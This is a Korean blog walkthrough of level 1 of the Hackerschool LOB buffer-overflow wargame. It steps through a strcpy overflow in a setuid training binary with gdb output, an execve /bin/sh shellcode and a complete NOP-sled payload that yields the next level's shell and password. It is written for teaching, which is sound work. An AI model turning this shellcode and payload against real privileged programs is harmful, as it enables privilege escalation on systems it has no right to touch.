[해커스쿨 LOB] Level1: gate >> gremlin

두비니

·

2019. 9. 18. 02:31

 

 

 

 

 


Level 1. Gate >> Gremlin

Theme: Basic BufferOverFlow

 


 

 

LOB에 오신 여러분들 환영합니다!

우선 들어가줍시다.

id: gate
pw: gate

 

 

 

아 일단 첫 문제인 만큼, 우리가 이 문제를  풀고있으며, 어떻게 하면 이 문제를 풀 수 있는 것인지 탐구해봅시다.

일단 포너블 문제들의 기본은 관리자의 권한을 탈취하는 것입니다. 그런 뒤 정상적으로는 접근할 수 없는 곳들을 접근한다는 것이 기본적인 시스템 해킹의 개념이고요.

그래서 똑같이 LOB의 모든 문제들도 상위 권한을 획득하여 다음 단계의 비밀번호를 알아내는 것이 목적입니다.

그러면 LOB 문제의 흐름은 다음과 같습니다.

 

1. 프로그램상의 취약점을 발견합니다.

2. 취약점을 기반으로 공격 시나리오를 작성합니다.

3. 공격 시나리오를 기반으로 하여 필요한 정보를 수집하고, 공격합니다.

   그 과정에는 메모리 구조 분석 등이 필수적이겠죠.

4. 공격을 성공시키고, 비밀번호를 알아냅니다!

 

각 과정에서 필요한 기본지식들이 있을 것이고, 단순히 비밀번호를 알아내는 것이 아닌, 그 기본지식들을 쌓아가는 것이 LOB를 풀면서 가장 바람직한 모습이라고 생각합니다.

이 블로그에 있는 글이 아니여도 좋으니, 많은 구글링과 문서들을 뒤져보면서 지식을 늘려갔으면 좋겠습니다:)

 

말을 이만 줄이고, 문제를 풀러 가봅시다.

 

 

 

 

 

 

오류 방지를 위한 명령어인 bash2를 입력하고, 'ls -l' 명령어로 디렉토리를 확인해줍시다.

[gate@localhost gate]$ bash2
[gate@localhost gate]$ ls -l
total 16
-rwsr-sr-x    1 gremlin  gremlin     11987 Feb 26  2010 gremlin
-rw-rw-r--    1 gate     gate          272 Mar 29  2010 gremlin.c

 

 

gremlin과 gremlin.c 파일이 주어져있으니 gremlin.c파일을 봅시다.

[gate@localhost gate]$ nl gremlin.c
     1  /*
     2          The Lord of the BOF : The Fellowship of the BOF
     3          - gremlin
     4          - simple BOF
     5  */
     6
     7  int main(int argc, char *argv[])
     8  {
     9      char buffer[256];
    10      if(argc < 2){
    11          printf("argv error\n");
    12          exit(0);
    13      }
    14      strcpy(buffer, argv[1]);        //vuln
    15      printf("%s\n", buffer);
    16  }

 

cat이나 다른 내용을 읽어주는 명령어를 사용해도 무관합니다. 다만 nl이라는 명령어는 줄번호까지 알려주기때문에 보기깔끔해서 이용합니다. 아 그리고 참고로 nl은 bash에서는 지원하지 않는 명령어입니다.

코드분석을 하자면 우선 char형 변수 buffer를 선언하고 if문을 통해 전달받은 인자가 2개 이상인지 확인한 후, 그 후에 strcpy를 진행합니다.

 

 

혹시라도 전달인자에 대해 처음 배운다면, 조금은 배경지식을 찾아보고 오는 편이 좋습니다! 간단히 말해 argument count, 즉 말그대로 전달하는 인자의 개수를 세는 변수입니다. 처음 풀 당시 c언어에서 scanf로 입력받는다는 사실만 알고있었던 저는 여기서 헤맸네요..

쉽게 말하자면 이 문제의 답은 ./gremlin (페이로드) 의 형식으로 주어지게 될텐데, 인자가 2개 미만이라면 페이로드 자체가 없다는 소리니까 당연히 검사하는 겁니다.

 

위 설명도 무슨소린지 잘 모르겠다면: m.blog.naver.com/sharonichoya/220501242693

 

C언어 main( ) 함수의 명령 인수 (argc, argv)

* main 함수의 매개변수는 보통 아무것도 사용하지 않지만(int main ( ) ) 경우에 따라서는 int main (int ...

blog.naver.com

 

 

 

이 코드에서는 strcpy에서 취약점이 발생하는데요, 그 이유는 strcpy는 복사받을 대상의 크기와 상관없이 무조건 복사를 해주기 때문입니다. 즉, 우리는 이 점을 이용해 buffer overflow를 이용할 수 있게됩니다!

혹시라도 buffer overflow에 대해 잘 모른다면, 공부를 조금 먼저 하고옵시다ㅎ...

 

그럼 공격방법을 생각해봅시다.

우선 gremlin의 stack상황을 볼까요?

다음과 같을테고, 우리는 결국 buffer안에 shellcode를 넣어준 후, buffer overflow를 이용해 ret부분에는 buffer의 시작주소를 다시 넣어주면 모든게 해결될것입니다:D!

그럼 우리가 구해야 할 것은 다음과 같네요.

 

1. Shell Code

2. Buffer의 시작주소

 

일단 1. Shell Code

Shell Code는 따로 구하는 방법이 있긴 하지만, 처음 포너블을 입문한 입장에서는 그냥 인터넷에 돌아다니는 쉘코드를 이용하는게 정신건강에 더 좋지않을까 싶습니다ㅎㅎ

 

 

잠깐만요, 쉘코드가 뭡니까?

쉘코드가 뭔지 모른다면....음... 지금부터 공부하면 되니까요ㅎ

우리가 포너블을 공부하는 이유는 관리자의 권한을 탈취하기 위해서입니다. 그리고 이 관리자 권한을 얻는 것은 shell을 얻는다고 표현합니다. 따라서, 쉘코드(shellcode)는 쉘을 얻도록 하는 기계어 코드를 뜻합니다. 당연히 이 쉘코드는 용도에 따라 다양하게 있고, 우리가 사용할 쉘코드는 가장 짧은 쉘코드를 사용할 것입니다.

 

 

쉘코드에 대해서 더 자세히 알고싶다면: d4m0n.tistory.com/10

 

[Linux/x86] Shellcode 기초

쉘코드란? 시스템 해킹의 궁극적인 목적은 관리자 권한을 탈취하는 것이다. 이 말은 즉, 관리자 권한의 쉘을 얻는 것이라고 말할 수 있다. 쉘코드는 쉘을 실행시키는 기계어 코드이다. 주로 버퍼

d4m0n.tistory.com

 

아무튼 제가 이용한 쉘코드는 다음과 같습니다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

참고로 이 쉘코드는 25바이트입니다.

그럼 이제 2. Buffer의 시작주소만 구하면 되네요!

이를 구하는 방법은 많지만 그중에 2가지를 써보려고 합니다.

우선

 

1. 좀 어려운 방법(정석)

정석..?이라는게 있는지도 모르지만 2번에 비해 비교적 어렵게 느껴질 수 있는 방법입니다. 하지만 이방법으로 하는게 훨씬 더 좋다고 생각해요. 그럼 봅시다.

 

[gate@localhost gate]$ cp gremlin gremlim
[gate@localhost gate]$ gdb -q gremlim
(gdb) set disassembly-flavor intel
(gdb) disas main

우선 권한문제때문에 gremlin을 다른 파일에 복사해서 할건데, 이게 파일이 실행될 때 프로그램의 이름도 스택에 영향을 준다고해서 일부러 글자수를 맞췄습니다. 혹시 모르니 여러분도 이렇게 하시면 좋을 것 같습니다.

 

그다음 gdb로 파일을 열어볼건데, 기본 세팅과도 같은 명령어인 set disassembly-flavor intel을 해줍시다. 이걸 안하면 intel방식이 아닌 at&t방식으로 나오는걸로 알고있는데 인텔방식이 보기 훨신 더 편하니 꼭 설정해줍시다.

 

Dump of assembler code for function main:
0x8048430 <main>:       push   %ebp
0x8048431 <main+1>:     mov    %ebp,%esp
0x8048433 <main+3>:     sub    %esp,0x100
0x8048439 <main+9>:     cmp    DWORD PTR [%ebp+8],1
0x804843d <main+13>:    jg     0x8048456 <main+38>
0x804843f <main+15>:    push   0x80484e0
0x8048444 <main+20>:    call   0x8048350 <printf>
0x8048449 <main+25>:    add    %esp,4
0x804844c <main+28>:    push   0
0x804844e <main+30>:    call   0x8048360 <exit>
0x8048453 <main+35>:    add    %esp,4
0x8048456 <main+38>:    mov    %eax,DWORD PTR [%ebp+12]
0x8048459 <main+41>:    add    %eax,4
0x804845c <main+44>:    mov    %edx,DWORD PTR [%eax]
0x804845e <main+46>:    push   %edx
0x804845f <main+47>:    lea    %eax,[%ebp-256]
0x8048465 <main+53>:    push   %eax
0x8048466 <main+54>:    call   0x8048370 <strcpy>
0x804846b <main+59>:    add    %esp,8
0x804846e <main+62>:    lea    %eax,[%ebp-256]
0x8048474 <main+68>:    push   %eax
0x8048475 <main+69>:    push   0x80484ec
---Type <return> to continue, or q <return> to quit---
0x804847a <main+74>:    call   0x8048350 <printf>
0x804847f <main+79>:    add    %esp,8
0x8048482 <main+82>:    leave
0x8048483 <main+83>:    ret
0x8048484 <main+84>:    nop
0x8048485 <main+85>:    nop
0x8048486 <main+86>:    nop
0x8048487 <main+87>:    nop
0x8048488 <main+88>:    nop
0x8048489 <main+89>:    nop
0x804848a <main+90>:    nop
0x804848b <main+91>:    nop
0x804848c <main+92>:    nop
0x804848d <main+93>:    nop
0x804848e <main+94>:    nop
0x804848f <main+95>:    nop
End of assembler dump.

main함수의 어셈블리어코드 전체인데, 우리는 buffer의 주소를 알고싶으니 main+59정도에 breakpoint를 걸어주면 좋겠죠?

참고로 gdb 어셈블러를 볼때 팁은, peda도 그렇고 gdb도 그렇고 함수명을 기본적으로 기재해주기 때문에, 내가 분석하고 싶은 부분의 함수를 먼저 찾고, 그 다음에 그 주변의 어셈블리어를 분석하는게 정신건강에 이로울 것입니다.

 

(gdb) b * main+59
Breakpoint 1 at 0x804846b
(gdb) r `python -c 'print "A"*260+"BBBB"'`
Starting program: /home/gate/gremlim `python -c 'print "A"*260+"BBBB"'`

Breakpoint 1, 0x804846b in main ()
(gdb)

b * main+59로 breakpoint를 걸어주고, gdb 안에서 프로그램을 실행시키는 r명령어와 함께 payload를 보냅니다. 우리는 buffer의 시작점이 궁금한 것이니, 안에 내용을 대충 채워서 보냅니다. (내용이 중요한 것도 아니고, 저만큼 다 채우지 않아도 상관없어요)

 

그러면 실행이 되면서 우리가 미리 설정해놓은 breakpoint에서 멈추게 됩니다. 그러면 스택 상황은 다음과 같게 되겠죠?

그럼 레지스터를 분석해서 AAAA....문자열이 어디서 시작하는지를 알 수 있다면, ret주소에 buffer의 시작 주소로 return하게 하여, buffer안에 있는 코드를 실행 하는 것이 가능하겠죠. 그럼 레지스터 분석을 해봅시다.

 

(gdb) x/24x $esp
0xbffff960:     0xbffff968      0xbffffbb0      0x41414141      0x41414141
0xbffff970:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff980:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff990:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9a0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9b0:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb)

그리고 breakpoint의 esp를 기준으로 레지스터의 상태를 보고싶은 것이기 때문에 x/24x $esp라는 명령어를 이용합니다. 단순히 뜻은 $esp(주소)를 기준으로 x(hex값으로)/24x(24word)안에있는 내용들을 보여줘. 라는 뜻입니다!

 

** 참고로 1word = 4bytes **

 

그러면 레지스터 상태를 볼 수 있는데, 한줄에 16bytes씩 보여줍니다. 0x41이 0xbffff960의 세 번째 블록부터 시작하기 때문에, buffer의 시작주소는 0xbffff960 + 0x8 = 0xbffff968입니다. 근데 보통은 그 밑의 주소인 0xbffff990정도를 많이 들고갑니다. 이 이유는 밑에서 자세히 설명할게요.

 

2. 쉬운방법 (추천하지 않음)

간단히 소스코드를 복사하여 내용을 바꾸는 방법입니다. 굉장히 간단한 방법이지만, c파일을 가지고 있기 때문에 가능한 방법이기도 하고, 앞으로는 이 방법을 이용할 수 없는 문제가 허다할 것이기 때문에 그냥 아, 이런 꼼수도 있구나 하고 넘어가면 될 것 같습니다.

 

[gate@localhost gate]$ cp gremlin.c gremlim.c
[gate@localhost gate]$ vi gremlim.c
[gate@localhost gate]$ nl gremlim.c
	1 /* 
	2 The Lord of the BOF : The Fellowship of the BOF
	3 - gremlin
	4 - simple BOF
	5 */
	6
	7 int main(int argc, char *argv[]) 8 {
	9 char buffer[256]; 10 if(argc < 2){
	11 printf("argv error\n");
	12 exit(0);
	13 }
	14 strcpy(buffer, argv[1]);
	15 printf("%p\n", buffer); //%s를 %p로 바꾸었습니다
	16 }

보면 15번줄의 %s를 %p로 바꾸었는데, 이렇게 하면 값을 입력했을 때 buffer의 시작주소를 쉽게 알 수 있습니다.

 

[gate@localhost gate]$ gcc -o getenv gremlim.c
[gate@localhost gate]$ ./getenv `python -c 'print "A"*256'`
0xbffff968

어느쪽이든, buffer의 시작주소가 0xbffff968임을 알 수 있네요.

 

이제 안에있는 레지스터 값을보면 정확히는 0xbff968에서 buffer가 시작되는 걸 볼 수 있습니다. 하지만 어차피 우리는 처음부터 shellcode를 채울게 아니라 null byte, 즉 \x90을 채워서 nop sled를 일어나게 할 것이기 때문에 저는 넉넉히 0xbffff990으로 잡도록 하겠습니다. 그럼 이제 exploit payload를 짜볼까요?

 

 

잠깐, nop sled는 또 뭐고 왜 주소를 0xbff968이 아니라 0xbffff990로 잡는 것이죠?

일단 nop slide라고도 부르는 nop sled기법은 nop를 썰매(sled)타듯이 원하는 코드까지 간다고 붙여진 이름입니다.

우선 nop란 0x90으로, 아무 명령도 실행하지 않는 명령어입니다. 프로그램이 실행 중에 nop를 만난다면, 아무런 명령이 이루어지지 않기 때문에 다음 명령으로 넘어갑니다.

따라서 쉘코드 앞에 nop를 잔뜩 넣어준다면, buffer의 정확한 시작주소나 쉘코드가 시작하는 정확한 주소를 구하지 않더라도, nop sled를 통해 결국은 쉘코드가 실행이 됩니다. 그래서 시작주소가 아닌 그 뒤의 주소를 잡는거랍니다. 가끔씩 오류를 발생시키기 때문에 (그냥 계산하기 귀찮기도하고) 호오옥시나하는 마음에 사용합니다.

 

참고로 덧붙이자면 꼭 0xbffff990이 아니라 그 주변의 주소를 잡아도 nop의 영역안에만 있다면 모두 쉘코드가 실행이 됩니다. 그래서 페이로드를 작성할 때 NOP + 쉘코드 + NOP, NOP + 쉘코드로 작성하는 경우도 많습니다. 이거는 취향차이.

일종의 안전빵이라고 보면 제일 보기 편할 것 같습니다.

 

 

여태껏 얻은 정보들로 페이로드를 작성해봅시다.

페이로드는

./gremlin `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*136+"\x90\xf9\xff\xbf"'`

이고, 결과를 보면

 

[gate@localhost gate]$ ./gremlin `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*136+"\x90\xf9\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒ᙰ
               ̀▒▒▒▒
bash$ id
uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate)
bash$ my-pass
euid = 501
hello bof world

 쉘을 땄고, 다음 단계로 가는 비밀번호를 구했네요. hackerschool의 워게임들은 my-pass명령어를 통해 확인할 수 있습니다. 수고하셨습니다!

 

+) 글을 쓸때 정말 기본적인것도 설명하면서 쓰려고 하는데(아마 구글에 떠돌아다니는글 중에 제일 친절하게 써놓지 않았을까...?ㅎ),

혹시라도 이해가 되지 않는 부분이 있다면 꼭 구글링을 해서 추가적으로 이해를 하고 넘어가시길 바랍니다.

여기서 이해하지 못한 부분이 계속되서 응용되고, 심화되서 나올 것이기때문에 자체 스노우볼을 굴리지 마시길...(경험담)

아무튼 다음!

 

 

**아니 나 왜 에러 뜨는거야? 1: https://dokhakdubini.tistory.com/208

 

[PuTTY/LOB] "Stack is still your friend"; 분명 맞는 페이로드를 짰는데 틀렸을 때

LOB를 풀다보면 Segmentation Fault도 아니고 "stack is still your friend"가 뜰 때가 있다. 결론부터 얘기하면 bash2입력하세요. 자 갈길갈사람들은 가시고 "왜?"가 궁금하신 분들은 나머지 글을 읽읍시다. 아..

dokhakdubini.tistory.com